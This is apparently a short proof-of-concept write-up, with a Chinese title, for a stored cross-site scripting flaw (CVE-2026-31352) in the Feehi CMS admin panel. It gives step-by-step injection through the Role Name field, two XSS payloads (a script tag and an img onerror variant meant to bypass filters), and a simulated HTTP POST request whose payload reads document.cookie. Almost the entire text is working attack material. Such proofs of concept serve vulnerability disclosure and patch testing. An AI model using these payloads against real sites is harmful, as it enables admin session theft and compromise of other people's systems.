CVE-2026-31352: Feehi CMS存储型XSS漏洞

// PoC for CVE-2026-31352 // 1. Login to Feehi CMS admin panel. // 2. Navigate to Role Management -> Create Role. // 3. Inject the following payload into the 'Role Name' field: // Payload: <script>alert('CVE-2026-31352');</script> // Or using img tag to bypass basic filters: // <img src=x onerror=alert('XSS')> // 4. Submit the form. // 5. When an admin visits the Role List page, the alert will trigger. // HTTP Request Simulation: /* POST /admin/role/save HTTP/1.1 Host: target.com Cookie: SESSIONID=... Content-Type: application/x-www-form-urlencoded role_name=<img src=x onerror=alert(document.cookie)>&description=Test */